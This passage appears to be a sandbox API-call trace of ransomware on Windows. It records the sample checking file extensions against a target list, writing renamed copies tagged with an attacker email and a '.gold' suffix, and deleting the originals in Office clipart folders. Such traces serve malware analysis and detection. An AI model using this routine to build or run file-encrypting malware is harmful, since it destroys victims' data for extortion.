returned 1 [0108.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0108.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0108.748] lstrlenW (lpString=".doc") returned 4 [0108.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.748] lstrlenW (lpString=".docx") returned 5 [0108.748] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.748] lstrlenW (lpString=".pdf") returned 4 [0108.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.748] lstrlenW (lpString=".xls") returned 4 [0108.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.749] lstrlenW (lpString=".xlsx") returned 5 [0108.749] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.749] lstrlenW (lpString=".ppt") returned 4 [0108.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0108.749] lstrlenW (lpString=".zip") returned 4 [0108.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.749] lstrlenW (lpString=".rar") returned 4 [0108.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.749] lstrlenW (lpString=".bz2") returned 4 [0108.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.749] lstrlenW (lpString=".7z") returned 3 [0108.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0108.749] lstrlenW (lpString=".dbf") returned 4 [0108.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0108.749] lstrlenW (lpString=".1cd") returned 4 [0108.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0108.749] lstrlenW (lpString=".jpg") returned 4 [0108.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0108.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0108.749] lstrlenW (lpString=".doc") returned 4 [0108.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.749] lstrlenW (lpString=".docx") returned 5 [0108.749] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.749] lstrlenW (lpString=".pdf") returned 4 [0108.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.749] lstrlenW (lpString=".xls") returned 4 [0108.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.749] lstrlenW (lpString=".xlsx") returned 5 [0108.749] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.749] lstrlenW (lpString=".ppt") returned 4 [0108.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0108.749] lstrlenW (lpString=".zip") returned 4 [0108.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.749] lstrlenW (lpString=".rar") returned 4 [0108.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.749] lstrlenW (lpString=".bz2") returned 4 [0108.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.749] lstrlenW (lpString=".7z") returned 3 [0108.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0108.749] lstrlenW (lpString=".dbf") returned 4 [0108.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0108.749] lstrlenW (lpString=".1cd") returned 4 [0108.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0108.749] lstrlenW (lpString=".jpg") returned 4 [0108.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.750] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.750] lstrlenW (lpString="J0107746.WMF") returned 12 [0108.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.750] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=4788) returned 1 [0108.750] CloseHandle (hObject=0x364) returned 1 [0108.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf")) returned 0x20 [0108.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.751] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.751] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0108.751] GetLastError () returned 0x0 [0108.751] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x12b4, lpOverlapped=0x0) returned 1 [0108.753] WriteFile (in: hFile=0x3a0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0108.754] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0108.754] WriteFile (in: hFile=0x3a0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.754] SetEndOfFile (hFile=0x3a0) returned 1 [0108.754] CloseHandle (hObject=0x3a0) returned 1 [0108.754] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.754] SetEndOfFile (hFile=0x364) returned 1 [0108.756] CloseHandle (hObject=0x364) returned 1 [0108.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf")) returned 1 [0108.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0108.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0108.757] lstrlenW (lpString=".doc") returned 4 [0108.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.757] lstrlenW (lpString=".docx") returned 5 [0108.757] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0108.758] lstrlenW (lpString=".pdf") returned 4 [0108.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.758] lstrlenW (lpString=".xls") returned 4 [0108.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.758] lstrlenW (lpString=".xlsx") returned 5 [0108.758] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0108.758] lstrlenW (lpString=".ppt") returned 4 [0108.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0108.758] lstrlenW (lpString=".zip") returned 4 [0108.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.758] lstrlenW (lpString=".rar") returned 4 [0108.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.758] lstrlenW (lpString=".bz2") returned 4 [0108.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.758] lstrlenW (lpString=".7z") returned 3 [0108.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0108.758] lstrlenW (lpString=".dbf") returned 4 [0108.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0108.758] lstrlenW (lpString=".1cd") returned 4 [0108.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0108.758] lstrlenW (lpString=".jpg") returned 4 [0108.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0108.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0108.758] lstrlenW (lpString=".doc") returned 4 [0108.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.758] lstrlenW (lpString=".docx") returned 5 [0108.758] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0108.758] lstrlenW (lpString=".pdf") returned 4 [0108.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.758] lstrlenW (lpString=".xls") returned 4 [0108.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.758] lstrlenW (lpString=".xlsx") returned 5 [0108.758] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0108.758] lstrlenW (lpString=".ppt") returned 4 [0108.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0108.758] lstrlenW (lpString=".zip") returned 4 [0108.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.758] lstrlenW (lpString=".rar") returned 4 [0108.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.758] lstrlenW (lpString=".bz2") returned 4 [0108.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.759] lstrlenW (lpString=".7z") returned 3 [0108.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0108.759] lstrlenW (lpString=".dbf") returned 4 [0108.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0108.759] lstrlenW (lpString=".1cd") returned 4 [0108.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0108.759] lstrlenW (lpString=".jpg") returned 4 [0108.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.759] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.759] lstrlenW (lpString="J0107748.WMF") returned 12 [0108.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.759] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=8224) returned 1 [0108.759] CloseHandle (hObject=0x364) returned 1 [0108.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf")) returned 0x20 [0108.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.760] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.760] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0108.761] GetLastError () returned 0x0 [0108.761] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2020, lpOverlapped=0x0) returned 1 [0108.762] WriteFile (in: hFile=0x3a0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2030, lpOverlapped=0x0) returned 1 [0108.763] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0108.763] WriteFile (in: hFile=0x3a0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.763] SetEndOfFile (hFile=0x3a0) returned 1 [0108.763] CloseHandle (hObject=0x3a0) returned 1 [0108.763] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.763] SetEndOfFile (hFile=0x364) returned 1 [0108.765] CloseHandle (hObject=0x364) returned 1 [0108.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf")) returned 1 [0108.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0108.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0108.766] lstrlenW (lpString=".doc") returned 4 [0108.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.766] lstrlenW (lpString=".docx") returned 5 [0108.766] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.766] lstrlenW (lpString=".pdf") returned 4 [0108.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.766] lstrlenW (lpString=".xls") returned 4 [0108.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.766] lstrlenW (lpString=".xlsx") returned 5 [0108.766] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.766] lstrlenW (lpString=".ppt") returned 4 [0108.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0108.766] lstrlenW (lpString=".zip") returned 4 [0108.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.766] lstrlenW (lpString=".rar") returned 4 [0108.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.766] lstrlenW (lpString=".bz2") returned 4 [0108.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.766] lstrlenW (lpString=".7z") returned 3 [0108.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0108.766] lstrlenW (lpString=".dbf") returned 4 [0108.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0108.766] lstrlenW (lpString=".1cd") returned 4 [0108.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0108.766] lstrlenW (lpString=".jpg") returned 4 [0108.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0108.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0108.766] lstrlenW (lpString=".doc") returned 4 [0108.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.766] lstrlenW (lpString=".docx") returned 5 [0108.766] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.766] lstrlenW (lpString=".pdf") returned 4 [0108.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.766] lstrlenW (lpString=".xls") returned 4 [0108.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.766] lstrlenW (lpString=".xlsx") returned 5 [0108.766] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.766] lstrlenW (lpString=".ppt") returned 4 [0108.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0108.766] lstrlenW (lpString=".zip") returned 4 [0108.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.766] lstrlenW (lpString=".rar") returned 4 [0108.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.766] lstrlenW (lpString=".bz2") returned 4 [0108.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.767] lstrlenW (lpString=".7z") returned 3 [0108.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0108.767] lstrlenW (lpString=".dbf") returned 4 [0108.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0108.767] lstrlenW (lpString=".1cd") returned 4 [0108.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0108.767] lstrlenW (lpString=".jpg") returned 4 [0108.767] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.767] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.767] lstrlenW (lpString="J0107750.WMF") returned 12 [0108.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.767] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=4716) returned 1 [0108.767] CloseHandle (hObject=0x364) returned 1 [0108.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf")) returned 0x20 [0108.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.768] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.768] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0108.768] GetLastError () returned 0x0 [0108.768] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x126c, lpOverlapped=0x0) returned 1 [0109.038] WriteFile (in: hFile=0x3a0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1270, lpOverlapped=0x0) returned 1 [0109.039] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.039] WriteFile (in: hFile=0x3a0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.039] SetEndOfFile (hFile=0x3a0) returned 1 [0109.039] CloseHandle (hObject=0x3a0) returned 1 [0109.039] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.039] SetEndOfFile (hFile=0x364) returned 1 [0109.041] CloseHandle (hObject=0x364) returned 1 [0109.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf")) returned 1 [0109.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0109.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0109.044] lstrlenW (lpString=".doc") returned 4 [0109.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.044] lstrlenW (lpString=".docx") returned 5 [0109.044] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.044] lstrlenW (lpString=".pdf") returned 4 [0109.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.044] lstrlenW (lpString=".xls") returned 4 [0109.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.044] lstrlenW (lpString=".xlsx") returned 5 [0109.044] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.044] lstrlenW (lpString=".ppt") returned 4 [0109.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 